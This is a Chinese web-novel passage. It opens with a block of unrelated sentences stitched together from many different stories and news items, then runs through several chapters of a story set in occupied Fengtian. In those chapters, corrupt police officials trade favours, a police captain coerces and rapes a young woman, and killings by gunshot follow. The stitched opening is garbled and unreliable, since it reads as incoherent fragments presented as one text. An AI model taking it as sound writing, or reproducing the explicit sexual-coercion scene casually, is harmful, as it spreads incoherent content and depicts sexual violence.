赏多勇大手触及巨Q,一阵劲弹而来,口立刻干了,连吐液都没了,干咽两口,呼吸忽然粗重了许多。 看这杨征的口才,他可真是一点儿都不怀疑杨征会做出这种事情来。 此刻两人心中更是有了一种不谋而合的想法:幸亏你当时没被选上,不然此刻我们说不定就少了一个恰到好处的“托”儿。 陆霆深也没有要拦住她的意思,只是看着她的背影消失在楼梯尽头才收回目光。 庄园深处,一间布置得舒适整洁的房中,韩牧已是换上一身干净的青衫,正盘腿坐于床上,身上的伤势在灵魂力配合聚灵诀的使用之下,倒是已经好转许多。 她才不愿意相信姜涵能有那么好的命,就这种出身,还真有什么名门公子能看得上她? 九焱话落,周围不少人古怪的看他一眼,然后又看元辰一眼,这时他们也看出来了,这韩牧和九焱两人也确实有点手段,能逼退元辰,至少证明,他们的实力不弱。 她现在除了每天威胁人也就只剩下骂人了,就连江家的下人都不敢靠近,恨不得躲她躲个十万八千里。 我的命怎么就那么苦,我怎么会爱上一个根本就不是人的人呢……”韩樱雪自怨自艾的说着,以前做的种种的一切实在是太愚蠢了。 下方,无论穿着白衣还是红衣,所有葬天原的子民,全部对着祭台上的新娘跪拜下去,脸上升起虔诚的表情。 昔日的点滴,都在毛乐言心头浮现,她心中又酸又痛又喜,所幸如今看到大家都很好,她心中也总算是没了以往那般的牵挂。 烟雨一时理不出头绪,只好将自己的事儿都搁在一边。她听到外院有动静传来,凝神细细听去。 第550章 怡红院老板是我的朋友 原定计划三天内可以返回。凌云不知道这个三天时间,自来也是在他从他写下这句话的时候开始算起的,还是排除了卡卡西的返程时间,指的是卡卡西返回木叶之后的三天之内回归。 高嬷嬷言语的同时,却眉头紧拧双手略显不安的相互搓动着,好似心中所虑的并非与碧儿谈论之事,而是另一桩让其费神的事情一般。 ——正如桂圆架构的世界里,一些人的故事完结了,而另一些人的故事,正要开始。 “拜托大人了。”太子紧紧握住史丹的手,他往日厚待史丹,今日总算见了效果。 进入本赛季,西甲第2轮,皇马主场和塞尔塔战成1-1,在第81分钟的时候,凭借托尼·克罗斯的绝杀,皇马取得新赛季主场开门红。 果然,此令一出,所有非诸侯国继承人都欢欣雀跃,以前只有王国太子,侯国世子有继承权,现在大家都有继承权,这样的好事能不拥护么? 安峰把感受和十年前对比,如今规模更加隆重,参与人士也更加热情,甚至外宾也会向王室成员行礼。换来这份尊敬的,毫无疑问就是实力和影响力。若当年没走这条路,他们的未来又如何呢? 董贤的父亲董恭,在刘欣为太子时,是个御史。而董贤则因为父亲的关系,成为了太子舍人。 青藏高原与沙漠不同,这里不仅仅只有平原与大雪,还有各种各样的地形。 奥斯丁的关系网庞大。他给了处在矛盾中的双方牵线对话,以曼奇尼为首的政fǔ方同意大利政fǔ坐在一起。当天上午,罗马的议会大楼‘门’口,聚集了数千人,抗议政fǔ的欺骗和重税政策。 “那我也要找到。”左轮坚定地说。见左轮这么坚定,大家就下去找了。 黑雾一边说着一边朝着罗杰船长举起了右手,罗杰船长只感觉脚下的飞行器一顿,猝不及防之下,罗杰船长一个踉跄,差点摔落飞行器,幸好他及时稳住了身体。 “不见得吧!你以为,你来了个诈死之计,就能改变战局吗?我的大军已经包围了下洛四门,这一次,你就是插翅也难逃!”檀石槐执拗地道,并伴着不知所然的微笑。 这毒龙山阻击战几经波折,还是以毒王龙全军覆没而失败。面对自己的持续失利,骇龙天王已经被取经人逼迫到决战时刻,便召集虎兽龙、暴兽龙、云兽龙、狮兽龙四员大将,共同镇守天龙山,做好了一切决战准备。 “聊胜于无。”子月压根就不看子翔,忙活了半天,一口水都没喝,现在得抓紧时间补补。 “您别着急,他没事,您这大雨天的还过来,要不就在这住下吧!”左轮赶忙安抚老汤。 帷幕完全拉开,古典的乐声戛然而止,舞台上的人开始活动起来,开始了最后的演出。 “不是真的,陈浩,你不是我的敌人,只要你说,我都相信你。”静儿恳求他可以告诉自己,这不是事实。 “好。我背你吧。你受伤了。”子月将狼月收回,眼睛眨巴着,眼眶里明显有泪珠不停的打转。 说完,却没有如战神联盟所想的那样直接打回去或者防御,却是没有一丝犹豫地转身就跑。 可越是这副样子,叶寒和哮天犬越有种想打他的冲动,这尼玛的好欠揍。 “罢了,这也怪不得你们!这一次,我带来了两名极境者,都已经得到了天帝令,所以,我们倒也不必害怕邪龙教。”离坤微微一笑道,眼中闪过一丝自得之色。 克洛托卡塔克斯没有感到吃惊,这段时间跟在戴弗斯身边,戴弗斯在处理政务时会不时向他发问,他已经习惯了,也迫使他要时刻对于传来的战报和信息进行思考。 “这个嘛!把你们身上的精核都交出来!还有一切值钱的东西!现在轮到我来打劫!”叶寒突然脸色一变,阴险得对着这三人笑道,手中长剑指着,寒芒四射。 他显然也是没想到会遇见我,稍微愣住了一下,但马上就又收回目光。 我并不标榜自己是一个多么智慧的人,可我觉得很多时候,大智若愚,兴许就是与人为善。 而对面的幻无雪则是一脸的震惊,右臂在微微颤抖着,脸色有些不自然。 三人在第一时间就碰撞在了一起,震耳欲聋的虎啸之声响起,好像就是域外有只滔天巨虎在咆哮一样。 “那就更得跟我们走一趟了!”巡逻队员冷笑道,强行押着他走出了旅馆。 鲁邦三世居然把蛋送给了香阪夏美?难道他偷那颗蛋,就是想要物归原主? “你想反悔?徒儿!为师有教过你言而无信?”紫曲圣君听了云倾雪的话,却是不满的皱起了眉。 “倾雪,本尊的未婚妻!你可真是让本尊好找!”看见云倾雪,苍烟收起了刚刚面对紫曲圣君一行的凌厉气势,神态间多了几分复杂不明的情绪。 看到谌羽,镜音铃暂时忘记了跟自己抗议许久的肚子,好奇地观察起谌羽来。 前面还满脸欣慰还跟旁边相声大腕们嘚瑟的侯三爷当时就好尴尬了,他差点没气的两眼一翻就给晕过去了。 他的身体陡然变大,力量也随之增强几分,望空一掌拍下去,只听得轰隆一声巨响,满天的钟老五瞬间消失,化作一个,但这唯一的一个,此刻已经如同一颗血球爆炸而开,猩红的血雾蓬勃而生。 第551章 局长,救我 李二狗说完之后,暗中观察着警察队长的脸色变化。 他确实吓得不轻! “你真的认识王太太?” “老总要是不相信,可以现在打发人去问一问王太太。” 警察队长害怕了,他竟然把市长夫人的朋友打了,这事可是非同小可。 “你们还愣着干什么?还不快……快把李先生放下来!” 两个警察急忙上前,把李二狗从行刑架上放了下来。 警察队长谄媚地说道:“李先生,这真是大水冲了龙王庙,一家人不认一家人了,实在是对不起啊。” 李二狗感到身上一阵火辣辣的疼,这三十皮鞭抽打在身上,确实疼。 但他还是强作笑颜道:“老总,这事不能怪你,你也是为了工作。” 警察队长没有想到李二狗这么好说话,他还以为李二狗会趁机发难,他连忙握住李二狗的手,说道:“鄙人叫吴勇,以后还请李先生多多关照。” 其实李二狗不是不想骂娘,甚至想打他一顿。 但人在屋檐下,不得不低头。 此时自己还在警察局的审讯室,如果把他逼急了,说不定他会选择狗急跳墙。 “好说,好说。” 警察队长连忙说道:“李先生,请你先到房间休息,等我向王太太请示之后再来向你道歉。” 李二狗心想,不愧是警察队长,一个不见兔子不撒鹰的主,他必须向于婉清核实完自己的身份之后才放自己。 “那就麻烦吴队长了。” 吴勇心中也有自己的小九九,李二狗一个人就杀了八个人,他很可能是一个反日分子,这样的人犯交给日本人,自己肯定可以得到奖赏。 即使他不是反日分子,他也有办法让他成为反日分子。 一个能独自杀掉八个人的人,日本人肯定会喜欢。 但如果李二狗真是市长夫人的朋友,那他肯定得罪不起。 除了自己,还有很多人知道李二狗被抓进警察局,再说还有那个被土匪救走的女人知晓此事,这件事肯定是瞒不住的。 “不客气,不客气,你们快点送李先生回房间休息,再把医生找来给李先生检查一下身上的伤势,一定要照顾好李先生,出现任何差池,我拿你们是问。” 李二狗走后,吴勇赶紧来到局长办公室。 遇事先向领导汇报,这是他的职场生存哲学,再说他一个小小的警察局队长还没有资格直接去见于婉清。 奉天伪满警察局局长叫宋宫鸣,是一个乌漆嘛黑的中年人,他最大的特点就是黑,不仅脸黑,心更黑。 当吴勇把李二狗的情况向宋宫鸣报告之后,他忍不住骂道:“吴勇啊吴勇,你可真是无用啊,连市长夫人的朋友都敢打?你不要命了?” 吴勇赶紧解释道:“局长,那个人半夜在城郊杀了八个人,我把他带回来审问审问也是办案需要啊。” “需要个屁!他就是杀八十个人,八百个人,那又怎么样?和你有什么关系?他是杀了你姐夫还是小舅子?得罪了王市长,你这身皮还想不想穿了?” 吴勇吓得脸都白了,以他的身份,平时根本接触不到奉天市长这样的大人物。 市长到底是什么脾气?他怕不怕老婆?他老婆厉不厉害? 这些情况,他一概不知! 有时候无知就意味着没命! “局长,您得救救我啊,这件事还得麻烦您向市长解释解释。” 宋宫鸣是一个老谋深算之人,李二狗只说认识王太太,却没有说认识王市长,这本身就是一件很不正常的事情。 市长的名声强过市长夫人何止百倍,那他为何不提市长只提市长夫人?只能说明李二狗根本不认识王市长。 那李二狗和王太太到底是什么关系? 会不会是那种关系? 如果贸然去找王市长,王市长知道一个陌生男人的存在会不会大动肝火?说不定还会迁怒到他自己身上。 但是此事又不能不去核实,如果李二狗真是王太太的朋友,以后消息一旦泄露出去,后果会很严重。 所以最好的办法就是直接把电话打到王公馆,找王太太核实。 可事情就是这么凑巧,昨天晚上,王公馆附近的电话线被人破坏了,现在还在抢修中,他只能上门去找王太太核实情况。 但他一个警察局长,如果直接去找市长夫人,这事要是传到市长耳朵里,市长肯定会询问,这又是一件解释不清的事情。 他必须想一个万全之策。 “局长,你倒是说话啊。”吴勇见宋宫鸣一直沉默着,忍不住再次问道。 宋宫鸣忍不住抱怨道:“你呀,天天让我跟在你后面擦屁股!你知不知道这件事令我很为难?” 宋宫鸣的话让吴勇有一种似曾相识的感觉,他赶紧谄媚道:“局长,我妹子自从上次见过你一面之后,一直央求我带她再见你一面,今晚我让她在家做几个菜,让她好好陪您喝两盅。” 吴勇的妹妹吴桂花今年一十八岁,有一次吴勇求宋宫鸣办事,起初宋宫鸣死活不答应,吴勇无奈之下,便让自己的妹妹陪他睡了一觉,此事第二天便办成了。 有了上一次的经验,吴勇算是了解了宋宫鸣的喜好。 虽然吴桂花没有倾城倾国之貌,但胜在青春逼人,对于宋宫鸣这种知天命的老男人来说,年轻意味着无敌。 宋宫鸣忍不住伸出舌头舔了舔自己有些干裂的嘴唇,脸上却是一副严肃的表情。 “吴队长,既然你都这么说了,我也不好让令妹失望,那就这么决定吧,晚上我忙完工作就过去。” 吴勇一听,宋宫鸣这是答应了帮忙,顿时嘴都笑歪了。 “谢谢局长,谢谢局长。” “好了,你先回去等我消息吧,记住,人一定要照顾好,但是现在还不能放。” “谢谢局长,谢谢局长。” 吴勇千恩万谢地出去了,看着他的背影,宋宫鸣忍不住笑了。 如果李二狗真是市长夫人的朋友,自己作为警察局长,肯定也脱不了干系,就是吴勇不求他,他也得千方百计去协调此事。 他忍不住感叹道:吴勇啊,你小子还是太年轻啊。 想到吴桂花,他又忍不住感叹道:年轻真好! 第552章 鲜儿发飙 宋宫鸣摸起电话,给奉天市政府秘书处打了一个电话。 “赵秘书吗?我是宋宫鸣啊,王市长现在在办公室吗?我想找他汇报一下我们警察局近期的几项重点工作。” 赵秘书是王有为的秘书,虽说他只是一个秘书,但宰相门前七品官,因为他是市长的秘书,自认为高人一等,平时根本不把一般人放在眼里。 但宋宫鸣不同,他是警察局长,手握实权,这样的人物他不敢得罪。 “宋局长,您好,王市长他出去视察了,现在不在办公室,等他一回来我就给您打电话。” 其实宋宫鸣早就打听到王有为此时不在办公室,他之所以打这个电话,就是为了让赵秘书当一个见证人。 “赵秘书,谢谢啊。最近我老家来人,带来一些土特产,我给王市长和你都准备了一份,你看我是送到办公室还是送到家里?” 赵秘书笑道:“宋局长,您太客气了,王市长的那份直接派人送到王公馆,我的那份还是算了吧,您的心意领了。” 赵秘书的回答在宋宫鸣的意料之中,礼物没有直接送到办公室的道理。 “赵秘书,你千万别客气,东西我稍后安排人直接送给弟妹。” “哈哈,那就谢谢宋局长了,其实不用这么客气的。” “你为王市长服务这么辛苦,这都是我应该做的。” 宋宫鸣放下电话,马上吩咐人去买了两份贵重的礼物。 其中一份价格稍微便宜一些的,他安排人送到赵秘书家,另一份价格较贵的他准备亲自带着送到王公馆。 当然购买礼物的这些费用都是警察局掏的,这是公事,他是一个公私分明的人。 宋宫鸣来到王公馆,结果于婉清并不在家中,问管家,他也不知道去哪了,也不知道何时回来。 宋宫鸣只好放下礼物离开了,这次没有见到人,只好再找其他机会。 与此同时,柱子独自一人来到奉天城打探李二狗的消息。 他打听了许久,没有人知道李二狗的消息。 其实这不怪他无能,奉天警察局下辖数个警察分局,警察分局下面又下辖数十个派出所。 这么多的机构,根本无从打听李二狗究竟被关在哪里。 其实,抓捕李二狗的是奉天警察局直属的稽查总队,此时李二狗正在里面被好吃好喝地伺候着,外人更是无从打探到他的消息。 柱子转悠了一天,一无所获,只好回到清风寨。 “柱子哥,你打听到二狗哥的消息了吗?” 鲜儿一见面就拉住柱子的胳膊,满脸焦急之色。 柱子无奈地摇了摇头。 “还没有,鲜儿,你别……” 未等柱子把话说完,鲜儿忍不住诘问道:“柱子哥,你怎么连这点小事都办不好?没打探到二狗哥的消息,那你回来做什么?” 柱子当场愣住了,他没想到鲜儿会说出这种话! 他是堂堂清风寨的二当家,就连大当家的镇东北都要给他几分薄面。 可责备他的这个女人是鲜儿,是他一心喜欢的女人,别说她只是责备几句,即使她打他几个耳光,柱子也会选择默默承受。 不为别的,就因为她是鲜儿! 镇东北有些听不下去,好歹柱子也是清风寨的二当家,鲜儿对他如此态度,不利于清风寨安定团结的大好局面。 他忍不住呵斥道:“鲜儿,你怎么对柱子说话呢?没有打听到二狗兄弟的消息,你以为他不着急吗?快点给他道歉。” 柱子忙说道:“大哥,算了,鲜儿妹子也是着急,我理解她的心情。” 镇东北内心也是十分着急,但是再着急也不能坏了规矩。 “鲜儿,你听见没有?快给柱子道歉!” “我不!” 鲜儿哭得梨花带雨,她转身就跑走了。 “真是越来越不像话了!都是我惯坏了她!” 镇东北这话看似像在自责,其实主要是说给柱子听的。 “大哥,我一直都拿鲜儿当亲妹子看待,她这次也是因为着急,我理解她的心情,你也别生气了,我们还是想想办法怎样才能尽快打听到二狗兄弟的消息吧。” 镇东北担心柱子下不来台,没想到他对鲜儿如此包容,也就放下心来。 “柱子,你去找咱们在警察局的内线了吗?” “找了!他没听说二狗兄弟的情况,他说会再去打听,让咱们等他消息。” 镇东北道:“虽说警察局没有日本宪兵队凶险,但二狗兄弟这次杀了八个人,恐怕在里面要吃一些苦头了。” 柱子紧抿着嘴,心中犹豫着有一件事要不要向镇东北说。 “大哥,有件事我必须告诉你,我好像犯了一个大错误。” 镇东北一惊,忙问道:“什么错误?” 柱子郑重地说道:“昨晚我救鲜儿的时候,把一个警察打死了!不对,是当时我以为把他打死了,就没太在意,可我先前下山经过那里的时候,发现他的尸体不在了。” “你担心什么?” “我担心他是装死!如果他当时装死的话,肯定听到了我们的谈话,所以他会认为二狗兄弟是咱们清风寨的人。” 镇东北在聚义堂的大厅里来回踱步,他在判断这件事可能带来的后果。 “会不会是警察把他的尸体收走了?” 柱子分析道:“我下山的时候,天还没有亮,警察应该不会那么快赶来。而且,只有他一个人的尸体不见了,被二狗兄弟打死的那八个人的尸体还在那里躺着。” 镇东北不愧是清风寨的老大,他很快就分析出一个结论。 “二狗兄弟犯的事越大,他现在反而越安全,为今之计,我们还是先打听到他的消息,再做下一步打算,这事急不得!越急越容易出乱子!” 柱子担心地说道:“大哥,我就怕警察局会把二狗兄弟移交给日本人,到那时候,我们再想救他可就太难了!” 两人的对话全被站在门外的鲜儿听见了,她紧咬着嘴唇,眼泪“吧嗒吧嗒”地往下掉。 她没有进屋,转身离开了。 第553章 鲜儿再次被忽悠 鲜儿听到镇东北和柱子的对话后,再也无法待在清风寨,便一个人偷偷下了山。 她担心进城的时候被日本人认出来,特意用一张围巾围在脸上,跟在一群贩夫走卒中间进了城。 此时天色已经黯淡下来,她根本不知道该去哪里打探李二狗的消息,便来到了奉天警察局门前。 她鼓起勇气,走到警察局门口的岗哨前。 一个警察伸手拦住了她,喝问道:“干什么的?” 鲜儿赶忙说道:“老总,我想探监。” 站岗警察不耐烦地怒斥道:“探监?大晚上探什么监?这里又不是监狱,赶紧走,别在这里妨碍公务,小心老子把你抓起来。” 鲜儿不死心,继续说道:“老总,我哥哥叫李二狗,他是昨天晚上被你们抓进来的,求求你通融一下,让我进去见他一眼吧。” “李二狗?不认识!赶紧走!不然别怪老子对你不客气了!” 鲜儿继续哀求道:“老总,麻烦你进去问问,我哥哥是不是被关在里面,我真的很担心他。” 警察似笑非笑地看着鲜儿,手指比划了一个数钱的动作。 “求人帮忙不是你这个求法,得有这个才行。” 鲜儿由于下山急,身上根本没有带钱,她只能装作不懂警察的意思。 “老总,求求你了,帮帮忙吧。” 警察终于失去了耐心,要不是看鲜儿长的漂亮,他早一枪托把她赶走了。 “赶紧走,这里是警察局,是你想来就来的地方吗?再不走,老子真不客气了。” 说着,他“划拉”一声拉动枪栓,枪口对准了鲜儿。 鲜儿吓得赶紧离开了。 她不死心,一直在警察局门前徘徊。 突然她看到一个熟悉的身影从警察局走了出来,不是别人,正是昨晚差点非礼她的吴勇。 鲜儿吓得赶紧躲了起来。 想到是这个人抓了李二狗,他一定知道李二狗现在关押在什么地方。 她没有犹豫,迎着吴勇走了过去。 “老总,求求你,让我见见我哥吧。” 吴勇一愣,多么熟悉的声音,多么撩动人心弦的声音。 他仔细一看,果然是昨晚那个白皙粉嫩的女人。 真是踏破铁鞋无觅处,得来全不费工夫。 不过,他马上想到李二狗是市长夫人的朋友,而这个女人又是李二狗的妹妹。 他犹豫了。 但到嘴的肥肉不吃,不符合他的人生哲学。 “姑娘,你哥哥犯了多大的罪,你心里没数吗?他这样的重刑犯,我们警察局怎么可能让你见他?你就死了这条心吧!” 鲜儿哀求道:“老总,求求你让我见见他吧,哪怕只见他一眼也好。” 吴勇左右瞅了瞅,悄声说道:“想见他倒也不是不行,不过我为什么要冒着杀头的危险帮你?你是不是得为我付出点什么?” 鲜儿一愣,随即明白了他的意思,她不自觉地后退了两步。 吴勇继续威逼利诱道:“怎么?你不愿意?你知道我让你见他一面,我需要承担多大的风险吗?他可是重刑犯,见一面少一面,你可要想好了,别让自己留下终身遗憾。” 鲜儿继续哀求道:“老总,求求你帮帮忙,我可以给你钱,给你很多钱。” 此时,吴勇只想把鲜儿压在自己身下发泄兽欲,什么钱不钱的他根本不在乎。 吴勇心想,李二狗十有八九是市长夫人的朋友,他早晚得放出来。 于是他脑筋一转,有了一个绝妙的主意。 “姑娘,如果你答应我,我可以想办法把你哥救出来,怎么样?” 吴勇抛出的这个诱饵实在是太诱人了,鲜儿心动了。 吴勇继续诱惑道:“你可要想好了,你哥犯得可是死罪,自古杀人偿命,他一下杀了八个人,这次必死无疑!除了我,没人能救他。” 鲜儿的眼泪流了下来。 关之玲为了救李二狗,情愿付出自己的生命,难道自己连这点代价都不愿为他付出吗?那还谈什么爱他? 但是如果让这个男人欺凌了自己,李二狗还会喜欢自己吗? 吴勇太懂鲜儿的心思了,他一眼就看穿了她的内心。 “姑娘,我可以向你保证,今晚的事情只有天知地知你知我知,绝不会有第三个人知道。” 鲜儿终于下定了决心。 “你真得能救出我哥吗?你说话可要算数。” 吴勇见鲜儿答应了,喜不自胜,他急不可耐地保证道:“我说话当然算数,不然你到警察局告我。走,我们去一个没有人的地方。” 鲜儿尽管心中有万般不愿,但为了救李二狗,她没有别的选择。 吴勇带着鲜儿来到一家旅馆门前,鲜儿再次犹豫了。 “怎么?反悔了?你如果不想救你哥,现在就可以走,我绝不勉强!” 吴勇知道鲜儿绝不会走,他今晚吃定她了! “我……我没有反悔!” “那还不快点跟我进来?!” 吴勇率先进入旅馆,旅馆老板见到吴勇,赶忙上前问好。 “吴队长,您大驾光临,鄙店蓬荜生辉啊。” 吴勇此时只想快点和鲜儿行鱼水之欢,不耐烦地说道:“少他娘的废话,赶紧给我安排一个宽敞干净的房间。” 旅馆老板瞅了一眼他身后的鲜儿,顿时心领神会。 “吴队长,里面请,二楼有上好的房间。” 旅馆老板在前面带路,亲自带着他们上二楼。 刚走到楼梯口,鲜儿转身跑出了旅馆。 吴勇见状,赶紧追了出去。 鲜儿出了旅馆没几步就被吴勇追上了。 他掐住鲜儿的脖子,把她的身体顶在墙上,质问道:“你这样出尔反尔,信不信我立刻枪毙了李二狗?” 鲜儿颤抖地说道:“你答应不让第三个人知道,为何又去旅馆?你说话不算数。” 吴勇彻底被鲜儿的天真无邪打败了。 “不去旅馆去哪?你难道想去荒郊野外吗?” 吴勇本是气急之言,没想到鲜儿却点了点头。 吴勇精虫上脑,再也等不及了。 “去荒郊野外来不及了,我们就去这里面吧。” 说着吴勇便拉着鲜儿进入了旁边的一个小树林。 第554章 镇东北被打死 来到一处略微平坦的地方,吴勇一把把鲜儿揽入怀中,迫不及待地说道:“就这里吧,我的小宝贝,你可想死我了。” 说着臭烘烘的嘴巴就拱了上去。 在这寒冬腊月的天气,吴勇竟想在这片树林里和鲜儿行男女之事。 他急不可耐地褪掉自己的裤子,看鲜儿没有行动,便催促道:“你也快脱啊,今天天气有点冷,你只脱裤子就行。” 鲜儿只感觉喉咙里有一块东西堵在那里,堵得她呼吸都有些困难。 “别愣着了,快点吧。”吴勇再次催促道。 鲜儿深吸一口气,慢慢地把手伸向腰间,手却僵在了那里。 吴勇见状,不再催促,直接上前,三下五除二,帮她把裤子脱了下来。 “快来吧,我的心肝小宝贝……” 当吴勇把鲜儿压在身下的时候,鲜儿终于忍不住喊叫起来。 “放开我!放开我!” 吴勇没想到鲜儿会突然大声喊叫,这片小树林离居民区并不远,如果被人听见,他就解释不清了。 他下意识地捂住鲜儿的嘴巴,出言威胁道:“你还想不想救你哥哥了?你如果再叫,老子不仅不救你哥哥,还宰了你!反正在这里也没人知道。” 鲜儿害怕了,只得闭上了嘴巴。 尽管她努力控制着自己的情绪,但还是痛得忍不住喊叫起来。 寒风凛冽,天干物燥,再加上急不可耐的吴勇,毫无经验的鲜儿不疼才怪! “啊……啊……疼死了,你放开我!放开我!” “鲜儿,是你吗?” 树林外边突然传来镇东北的声音。 鲜儿一下子见到了救星,她大声呼喊道:“哥,快来救我,快来救我啊。” 原来在鲜儿偷偷下山之后,镇东北和柱子得到消息之后担心她的安危,便带着几个人下山来到奉天城。 可奉天城如此之大,想要在夜里找到一个人,无异于大海捞针。 于是他们几个人便分头寻找鲜儿。 镇东北和鲜儿的想法一样,他也来到了警察局附近,只可惜这里守卫森严,并没有看到鲜儿的身影。 他离开警察局之后,往东走了不远,便听到旁边小树林里传来女人的呼喊声,那声音分明就是鲜儿的声音。 他顾不得多想,快步跑进小树林,看到一个男人正压在鲜儿身上。 “我草你姥姥的!” 镇东北大骂一声,下意识地去腰间摸枪,这才才想到刚刚进城时因为担心被搜身,并没有带枪进城。 他猛地冲上前,一脚把吴勇踹翻在地,然后又冲过去,骑在吴勇身上,又是一顿痛打! “狗日的,竟敢侮辱我妹妹,老子非打死你不可!” “哥!” 鲜儿双手抱着胸前,屈辱的泪水早已模糊了她的双眼。 镇东北见状心疼不已,他顾不上再打吴勇,赶紧丢下吴勇,起身去捡起地上的裤子放到鲜儿手里。 鲜儿顾不得其他,赶紧穿上裤子,扑到镇东北怀里,放声大哭。 “哥……” “鲜儿,是哥哥来晚……” 话未说完,只听到“砰”的一声枪响。 镇东北的身体突然一颤,一口鲜血喷到鲜儿的脸上。 他艰难地转过身子,看到吴勇手里正握着一把手枪对准了他。 “镇东北!没想到会在这里遇到你!老子想抓你很久了!” “你……” 镇东北手指吴勇,吴勇接着又开了一枪,镇东北只觉得身体一软,倒在了地上。 “哥!哥!” 鲜儿抱着镇东北,痛哭不已。 “鲜儿,哥……以后再也……不能……照顾你了,你……你以后要照顾好……自己!千万不要再……这么任性了!” “哥,我以后都听你的好不好?你别死啊,哥……你不要死啊!” 镇东北嘴角露出一丝笑容,他用尽最后一丝力气抬起手,抚摸着鲜儿的脸庞。 “哥……对不起你!” 言罢,他的手便垂了下去,眼睛却依旧睁得圆圆的。 “哥!” 哭声划破天际! 吴勇举着手枪走到鲜儿身前,他没想到自己竟亲手杀了清风寨土匪头子镇东北。 这可是大功一件,自己肯定会得到日本人大大的奖赏! 他狞笑道:“清风寨土匪头子镇东北竟然是你哥哥?哈哈,这回就是市长亲自出马也救不了你了!” 鲜儿抬头怒视着吴勇,咬牙切齿道:“你杀了我哥,我和你拼了!” 她起身扑向吴勇,却被吴勇一脚踢翻在地。 “老子看上你是你的福气,你却不知道珍惜,现在你就是跪在地上求我,老子也不稀罕了。” “你……你不得好死!” “哈哈哈,我不得好死?你现在就得死!” 说着他便举枪对准了鲜儿。 鲜儿绝望地闭上双眼,她心里默念道:“哥,你等等我,我这就下来陪你了!二狗哥,永别了!下辈子希望还能遇见你!” “哐!” “啊!” “大哥!” 鲜儿分明听见是柱子的声音,她睁开双眼,果然看见柱子已经跪倒在镇东北的尸体面前失声痛哭。 “大哥,你醒醒啊!你不能死啊!大哥!” 鲜儿默默地从地上站起来,她捡起地上的手枪,对准了已经躺在血泊中的吴勇。 “你这个畜生!你去死吧!” “砰!砰!砰!” 她对着吴勇的身体连开三枪,彻底结束了他的性命。 “哥,我这来见你了!” 说着,鲜儿便举起手枪对准了自己的脑袋。 柱子见状,一把夺过她手里的手枪,指着镇东北的尸体,大声说道:“鲜儿,你睁开眼睛看清楚,大哥已经死了,你还没有闹够吗?” 鲜儿怔在原地,她想说话,喉咙却已经不听她的使唤,泪水再次无声地滑落脸颊。 这时远处传来一阵警笛声。 柱子知道此地不宜久留,他俯身背起镇东北的尸体,冷冷地对鲜儿说道:“你要不想让大哥白白死掉,就马上跟我走。” 说完,他不再看鲜儿,背着镇东北的尸体径直向东边跑去。 鲜儿愣在原地,哥哥镇东北是为了救她而死,她如果就这样死掉,真的没脸去见九泉之下的哥哥。 几秒钟之后,她提枪追了上去。 第555章 于婉清到警察局捞人 吴勇被人杀死在小树林的事件在警察局并没有引起多大的反应,生逢乱世,每天都在死人,警察也不例外。 倒是李二狗,被关在警察局里,一直好吃好喝伺候着。 既不审也不放,他仿佛被人遗忘了一般。 为此他催促了好几次,警察局一直让他耐心等待。 他提出要见吴队长,却被告知,吴勇前两天已经因公殉职。 吴勇死后,宋宫鸣确实把李二狗的事情忘却了。 当他再次想起此事的时候,已经过去了七天。 他急忙拿起电话,打到了王公馆。 “王太太,您好,我是警察局局长宋宫鸣,有件事想向您汇报,您现在方便吗?” 于婉清心下纳闷,一个警察局长向自己汇报什么工作? “宋局长,有什么事你请说吧。” “前几天,我手下的人抓到一个杀人犯,这个人说是您的朋友,所以我想向您核实一下。” “杀人犯?” 于婉清心下一惊,自己怎么可能有杀人犯朋友? “宋局长,你不会是在和我开玩笑吧?我怎么会有杀人犯这样的朋友呢?你可千万不要轻信别人的妄言啊。” 宋宫鸣忙赔笑道:“王太太您千万不要误会,其实我也不信,但他言之凿凿,我只好向您核实一下,打扰您了。” 于婉清心下好奇,随口问道:“他叫什么名字?” “李二狗。” “李二狗?”于婉清吓了一跳,“他现在哪?” 宋宫鸣一听于婉清的口气,就知道她和李二狗肯定认识。 “他现在在我们警察局。” 于婉清没想到李二狗会提及她的名字,想来真是遇到了自己难以解决的事情。 虽然她和李二狗只有两面之缘,但他救过自己女儿王玉娇的命,最主要的是她本人对李二狗的印象非常不错。 “宋局长,你刚才说他杀了人是怎么回事?” “王太太,事情是这样的,这个人在路上遇到几个抢劫之人,情急之下他被迫反击,失手才杀了八个人,应该是自卫行为,我们警察局不准备追究他的责任。” 失手,还杀了八个人! 于婉清不禁倒吸一口冷气,这个李二狗真是一个顶天立地的男子汉! “原来是这样啊,宋局长,李二狗确实是我朋友,据我了解,他是一个非常正义的人。” 宋宫鸣急忙附和道:“王太太说的对,我也觉得他是一个正义的人,我马上就下令放了他。” 于婉清都没想到宋宫鸣态度转变的这么快。 “宋局长,这只是我个人的看法,至于他有没有罪,还得你们警察局定夺,不过我和王市长会密切关注此事的。” “王太太,他确实是自卫行为,我们都已经调查清楚了,我马上就下令放人。” 于婉清突然有了一个主意。 “宋局长,你先别急着放人,待会儿我亲自去你们警察局问问他。” 宋宫鸣没想到于婉清会亲自来警察局接人,想来他俩的关系确实不一般。 “王太太,那我就在局里恭候您的大驾。” “宋局长,谢谢,你工作如此出色,我一定会找个合适的机会向王市长为你美言的。” “谢谢王太太,待会儿见。” 于婉清放下电话,激动异常。 她赶紧回到卧室,对着镜子开始梳妆打扮。 自己这次救了李二狗的命,他肯定会对自己感激不尽。 至于怎么感谢?想想她就觉得兴奋不已。 经过一番精心打扮,于婉清看着镜中的自己,心中不禁感慨道:好一个漂亮的美少妇,哪个男人见了能不动心? 她已经想象着自己和李二狗交往的情景。 她穿上自己最喜爱的黑色貂皮大衣,提上精致的小手包,出门叫了一辆黄包车直奔警察局。 宋宫鸣早已在门口等候,见到于婉清赶紧迎了上去。 “王太太,热烈欢迎您到我们警察局视察工作,里面请。” 于婉清内心非常渴望见到李二狗,她省去一些寒暄,直截了当地说道:“宋局长,李二狗现在哪?” 宋宫鸣更加笃定于婉清和李二狗之间一定有特殊关系,他面上不显,说道:“王太太,请跟我来。” 宋宫鸣带着于婉清来到一个房间门前。 “王太太,李先生就在里面。” 于婉清说道:“宋局长,那你先去忙吧,我先和他聊聊。” 她看到宋宫鸣似笑非笑的表情,又解释道:“尽管他是我的朋友,但我也得问清楚他到底有没有杀人,宋局长,虽然我家老王是市长,但也不能徇私枉法不是?” 宋宫鸣急忙夸赞道:“王太太所言极是,卑职实在是佩服!那我就先告退了。” 宋宫鸣向门口的守卫挥了挥手,让他们也离开此地。 等他们走后,于婉清才轻轻敲响了房门,此时李二狗正在屋内睡觉。 这段日子,他是吃了睡,睡了吃,过上了黑白颠倒的日子。 